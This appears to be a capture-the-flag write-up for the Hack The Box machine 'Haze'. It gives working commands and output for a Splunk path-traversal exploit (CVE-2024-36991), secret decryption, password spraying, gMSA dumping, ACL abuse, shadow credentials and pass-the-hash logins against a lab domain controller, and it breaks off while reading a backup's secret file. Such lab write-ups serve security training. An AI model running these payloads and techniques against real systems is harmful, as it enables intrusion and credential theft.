Hackthebox: Haze

Foued SAIDI Lv4

Overview

Haze is a hard-difficulty machine from Hack The Box dealing initially with a Splunk instance vulnerable to Local File Inclusion (LFI) allowing us to extract splunk secrets and decrypt them. Then we’ll be able to read GMSA secrets to get a hold of our next user who is able to abuse WriteOwner on a group which has ForceChangePassword and AddKeyCredentialLink to impersonate another user. Then we’ll exfiltrate some more splunk secrets and finally abuse SeImpersonatePrivilege to land a system shell.

Haze-info-card
Haze-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-04 18:37:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry
|_/
8088/tcp open ssl/http Splunkd httpd
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m05s
| smb2-time:
| date: 2025-04-04T18:38:33
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

We can see that this is a domain controller named dc01.haze.htb for the domain haze.htb that we’ll add to our /etc/hosts file. We can also notice an interestingly deployed instance of Splunk on port 8000.

Web Application - http://haze.htb:8000 - CVE-2024-36991

As shown on the nmap scan we have a Splunk instance deployed on port 8000 (While writing the writeup the page wasnt loading properly, I think someone broke it haha)

Doing a quick google search for recent known vulnerabilities for Splunk, I stumbled upon CVE-2024-36991 which is a local file inclusion allowing us to read files from the server.
I found this amazing PoC for it from which we can fetch the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kujen@kujen:~$ curl -s "http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/System32/drivers/etc/hosts"
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost

And it work fine! And we can read the /etc/hosts file.

While doing some research inside Splunk’s docs for potentially sensitive file, I found a lot of discussion about a Splunk secret key which is used to encrypt and decrypt the passwords in the Splunk configuration files.
Docs:
https://community.splunk.com/t5/Installation/Installing-Splunk-with-existing-splunk-secret/m-p/640005
https://community.splunk.com/t5/Knowledge-Management/What-is-the-splunk-secret-file-and-is-it-possible-to-change-it/m-p/331207

It can be found here:

1
2
kujen@kujen:~$ curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgDkujen@kujen:~$

And now we an also fetch the configuration file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kujen@kujen:~$ curl -s "http://haze.htb:8000/en-US/modules/messaging/C%3A../C%3A../C%3A../C%3A../C%3A../C%3A../C%3A../Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
kujen@kujen:~$

Now to be able to decrypt the password with the key, there is an amazing tool naled splunksecrets which we can use:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ cat hash
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

┌──(kali㉿kali)-[~]
└─$ splunksecrets splunk-decrypt -S hash
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24

And we got our password Ld@p_Auth_Sp1unk@2k24 for the user Paul Taylor

Checking our user against the DC using netxec we can confirm his existence:

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'
SMB 10.10.11.61 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.61 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

Now there is also a cool flag that netexec has which is --rid-brute that bruteforce users RIDs to get us the rest of the user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~]
└─$ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute
SMB haze.htb.localdomain 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB haze.htb.localdomain 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB haze.htb.localdomain 445 DC01 [+] Brute forcing RIDs
SMB haze.htb.localdomain 445 DC01 498: HAZE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 500: HAZE\Administrator (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 501: HAZE\Guest (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 502: HAZE\krbtgt (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 512: HAZE\Domain Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 513: HAZE\Domain Users (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 514: HAZE\Domain Guests (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 515: HAZE\Domain Computers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 516: HAZE\Domain Controllers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 517: HAZE\Cert Publishers (SidTypeAlias)
SMB haze.htb.localdomain 445 DC01 518: HAZE\Schema Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 519: HAZE\Enterprise Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 520: HAZE\Group Policy Creator Owners (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 521: HAZE\Read-only Domain Controllers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 522: HAZE\Cloneable Domain Controllers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 525: HAZE\Protected Users (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 526: HAZE\Key Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 527: HAZE\Enterprise Key Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 553: HAZE\RAS and IAS Servers (SidTypeAlias)
SMB haze.htb.localdomain 445 DC01 571: HAZE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB haze.htb.localdomain 445 DC01 572: HAZE\Denied RODC Password Replication Group (SidTypeAlias)
SMB haze.htb.localdomain 445 DC01 1000: HAZE\DC01$ (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1101: HAZE\DnsAdmins (SidTypeAlias)
SMB haze.htb.localdomain 445 DC01 1102: HAZE\DnsUpdateProxy (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 1103: HAZE\paul.taylor (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1104: HAZE\mark.adams (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1105: HAZE\edward.martin (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1106: HAZE\alexander.green (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1107: HAZE\gMSA_Managers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 1108: HAZE\Splunk_Admins (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 1109: HAZE\Backup_Reviewers (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 1110: HAZE\Splunk_LDAP_Auth (SidTypeGroup)
SMB haze.htb.localdomain 445 DC01 1111: HAZE\Haze-IT-Backup$ (SidTypeUser)
SMB haze.htb.localdomain 445 DC01 1112: HAZE\Support_Services (SidTypeGroup)

Now we can check for password reuse against these users:

1
2
3
4
5
┌──(kali㉿kali)-[~]
└─$ nxc smb haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'
SMB haze.htb.localdomain 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB haze.htb.localdomain 445 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24

And indeed mark.adams user has the same password which which we can login using winrm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
*Evil-WinRM* PS C:\Users\mark.adams\Documents> whoami /all

USER INFORMATION
----------------

User Name SID
=============== ===========================================
haze\mark.adams S-1-5-21-323145914-28650650-2368316563-1104


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
=========================================== ================ =========================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
HAZE\gMSA_Managers Group S-1-5-21-323145914-28650650-2368316563-1107 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

But lets now run BloodHound to get more info about the system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -ns 10.10.11.61 -d haze.htb -dc dc01.haze.htb -c All --zip --dns-timeout 100
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 3 users
INFO: Found 32 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 18 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 01M 57S
INFO: Compressing output into 20250626151950_bloodhound.zip

One thing we could notice is that mark.adams user is not on the bloodhound DB created by paul.tayloar, indicating that there are tight ACLs on each user not allowing them to view more than they are supposed to.
So we run it again with mark.adams:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ bloodhound-python -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -ns 10.10.11.61 -d haze.htb -dc dc01.haze.htb -c All --zip --dns-timeout 100
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 01M 06S
INFO: Compressing output into 20250626152200_bloodhound.zip

And now we can observe mark.adams on bloodhound.

BloodHound
BloodHound

We can see that mark is a part of GMSA_MANAGERS group so most probably he can read GMSA secrets. Let’s do that using this executable (This is an old snippet, the updated values are with the python script.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword mark.adams
*Evil-WinRM* PS C:\Users\mark.adams\Documents> .\GMSAPasswordReader.exe --accountname Haze-IT-Backup
Calculating hashes for Old Value
[*] Input username : Haze-IT-Backup$
[*] Input domain : HAZE.HTB
[*] Salt : HAZE.HTBHaze-IT-Backup$
[*] rc4_hmac : 735C02C6B2DC54C3C8C6891F55279EBC
[*] aes128_cts_hmac_sha1 : FDE2DBD661BE96B4AC1F68036104A22B
[*] aes256_cts_hmac_sha1 : BBD639BFE8461AEC4F850A5500422767C4EF51E9FD26D0003C9653ED4571EA15
[*] des_cbc_md5 : 9EA2310B9D2A94AB

Calculating hashes for Current Value
[*] Input username : Haze-IT-Backup$
[*] Input domain : HAZE.HTB
[*] Salt : HAZE.HTBHaze-IT-Backup$
[*] rc4_hmac : A70DF6599D5EAB1502B38F9C1C3FD828
[*] aes128_cts_hmac_sha1 : B42551342A1FEF223A8BB3E98FC3C4A4
[*] aes256_cts_hmac_sha1 : 833F036D5BCCECBAEA1EE78FC4BFCA1DDE8A3DDB9219D3AFC86DEC06C19A3FDC
[*] des_cbc_md5 : C79129130BEC80F2

Or we could also do it using the python script:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/gMSADumper]
└─$ python3 gMSADumper.py -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -l haze.htb
Users or groups who can read password for Haze-IT-Backup$:
> mark.adams
Haze-IT-Backup$:::4de830d1d58c14e241aff55f82ecdba1
Haze-IT-Backup$:aes256-cts-hmac-sha1-96:358dce76ff37bd5baa337ae9491ce3d6c3af66af50cad9296c5ed61d3a79c283
Haze-IT-Backup$:aes128-cts-hmac-sha1-96:daa6af62b0781111393c8b1cb7812c8a

Now let’s re-run bloodhound with the new computer account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/gMSADumper]
└─$ bloodhound-python -u 'Haze-IT-Backup$' --hashes ':4de830d1d58c14e241aff55f82ecdba1' -ns 10.10.11.61 -d haze.htb -dc dc01.haze.htb -c All --zip
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 01M 06S
INFO: Compressing output into 20250626153434_bloodhound.zip

We can also see that Haze-IT-Backup$ can WriteOwner to SUPPORT_SERVICES which has AddKeyCredentialLink and ForceChangePassword on edward.martin:

BloodHound
BloodHound

So first lets change the owner for the group, add FullControl to ourselves over it and add ourselves to it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target 'SUPPORT_SERVICES' 'haze.htb/Haze-IT-Backup$' -hashes ':4de830d1d58c14e241aff55f82ecdba1' -dc-ip 10.10.11.61
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Current owner information below
[*] - SID: S-1-5-21-323145914-28650650-2368316563-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=haze,DC=htb
[*] OwnerSid modified successfully!

┌──(kali㉿kali)-[~]
└─$ impacket-dacledit -action write -rights FullControl -target 'SUPPORT_SERVICES' -principal 'Haze-IT-Backup$' haze.htb/'Haze-IT-Backup$' -hashes ':4de830d1d58c14e241aff55f82ecdba1' -dc-ip haze.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250626-154030.bak
[*] DACL modified successfully!

┌──(kali㉿kali)-[~]
└─$ bloodyAD --host "haze.htb" -d "haze.htb" -u 'Haze-IT-Backup$' -p ":4de830d1d58c14e241aff55f82ecdba1" -f rc4 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to SUPPORT_SERVICES

And now we can use pywhisker to add shadow creds onto our user, then authenticate with the cert using certipy-ad to get his hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
┌──(kali㉿kali)-[~/pywhisker]
└─$ python3 pywhisker/pywhisker.py -d haze.htb -u 'Haze-IT-Backup$' -H '4de830d1d58c14e241aff55f82ecdba1' --target "edward.martin" --action "add"
[*] Searching for the target account
[*] Target user found: CN=Edward Martin,CN=Users,DC=haze,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: ccc39a6f-855b-0b23-1d96-0527fe892c1c
[*] Updating the msDS-KeyCredentialLink attribute of edward.martin
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: BED5EbNp.pfx
[+] PFX exportiert nach: BED5EbNp.pfx
[i] Passwort für PFX: vPKN4CVIXtS9C6vYgLZW
[+] Saved PFX (#PKCS12) certificate & key at path: BED5EbNp.pfx
[*] Must be used with password: vPKN4CVIXtS9C6vYgLZW
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

┌──(kali㉿kali)-[~/pywhisker]
└─$ python3 pywhisker/pywhisker.py -d haze.htb -u "Haze-IT-Backup$" -H "4de830d1d58c14e241aff55f82ecdba1" --target "edward.martin" --action "info" --device-id ccc39a6f-855b-0b23-1d96-0527fe892c1c
[*] Searching for the target account
[*] Target user found: CN=Edward Martin,CN=Users,DC=haze,DC=htb
[+] Found device Id
<KeyCredential structure at 0x7f7851a41550>
| Owner: CN=Edward Martin,CN=Users,DC=haze,DC=htb
| Version: 0x200
| KeyID: uvtFsijO+89ZRMlbzt/6qXHRQFzxbx7c+YeB4THb7+g=
| KeyHash: 653295a9cb5b2878ce14175c672582ee3989444f3b4683c4bcfda354819031f1
| RawKeyMaterial: <dsinternals.common.cryptography.RSAKeyMaterial.RSAKeyMaterial object at 0x7f7851a41160>
| | Exponent (E): 65537
| | Modulus (N): 0xd946bb6c703db1108e53ee17803108f63e47b00cfd367223ffc79faf18a6822af661d812a7df688ba21340a35c3eabf656b9aeac7081af18612227a155a74af401a0d68117d19ea4e53eb7bd5ca639bebe0353bfdd36a47ad54090399c10981d475715039c00b92e97f35182fd46f21094571a2729b9abeaa9f3c98e33b241936af3e2a5d732cb4d731b4800572476401ad8a82043554fffcd0f89c87bdf29ab7857761d1dce65da7b74fe13af15ebabbb1b7f585764e0423b9165a870a5e0eb6bb2e7b1277aa27030cd69e6bc232c9f5d85fccefed6006683e831037312ccda9ff69b9833b0ee3e0d0109f8a933807bf96d81792c1ba9d27638df3a53eeca4b
| | Prime1 (P): 0x0
| | Prime2 (Q): 0x0
| Usage: KeyUsage.NGC
| LegacyUsage: None
| Source: KeySource.AD
| DeviceId: ccc39a6f-855b-0b23-1d96-0527fe892c1c
| CustomKeyInfo: <CustomKeyInformation at 0x7f7851d98e60>
| | Version: 1
| | Flags: KeyFlags.NONE
| | VolumeType: None
| | SupportsNotification: None
| | FekKeyVersion: None
| | Strength: None
| | Reserved: None
| | EncodedExtendedCKI: None
| LastLogonTime (UTC): 2025-06-26 19:42:21.800236
| CreationTime (UTC): 2025-06-26 19:42:21.800236

┌──(kali㉿kali)-[~/pywhisker]
└─$ certipy-ad cert -export -pfx BED5EbNp.pfx -password "vPKN4CVIXtS9C6vYgLZW" -out "unprotected.pfx"
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Data written to 'unprotected.pfx'

┌──(kali㉿kali)-[~/pywhisker]
└─$ certipy-ad auth -pfx unprotected.pfx -dc-ip '10.10.11.61' -username 'edward.martin' -domain 'haze.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'edward.martin.ccache'
[*] Wrote credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:09e0b3eeb2e7a6b0d419e9ff8f4d91af

We can now login as our edward.martin user using winrm and fetch our user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/pywhisker]
└─$ evil-winrm -i haze.htb -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents> cat ../desktop/user.txt
f1fb29eed2b5a2d86480276faa1e1bd4

Privilege Escalation - Backup Exfiltration to SeImpersonatePrivilege abuse

Taking a look at system files, we find an interesting backup folder containing splunk backup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Backups> ls


Directory: C:\Backups


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/5/2025 12:33 AM Splunk


*Evil-WinRM* PS C:\Backups> cd splunk
*Evil-WinRM* PS C:\Backups\splunk> ls


Directory: C:\Backups\splunk


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/6/2024 3:22 PM 27445566 splunk_backup_2024-08-06.zip

We can fetch that and extract our splunk secrets like we did before to get the password for alexander.green user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
┌──(kali㉿kali)-[~/gMSADumper/Splunk]
└─$ find . -name *.secret 2> /dev/null
./etc/auth/splunk.secret

┌──(kali㉿kali)-[~/gMSADumper/Splunk]
└─$ find . -name authentication.conf 2> /dev/null
./etc/system/default/authentication.conf
./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
./var/run/splunk/confsnapshot/baseline_default/system/default/authentication.conf

┌──(kali㉿kali)-[~/gMSADumper/Splunk]
└─$ cat ./var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
[default]

minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0


[Haze LDAP Auth]

SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
┌──(kali㉿kali)-[~/gMSADumper/Splunk]
└─$ cat ./etc/auth/splunk.secret
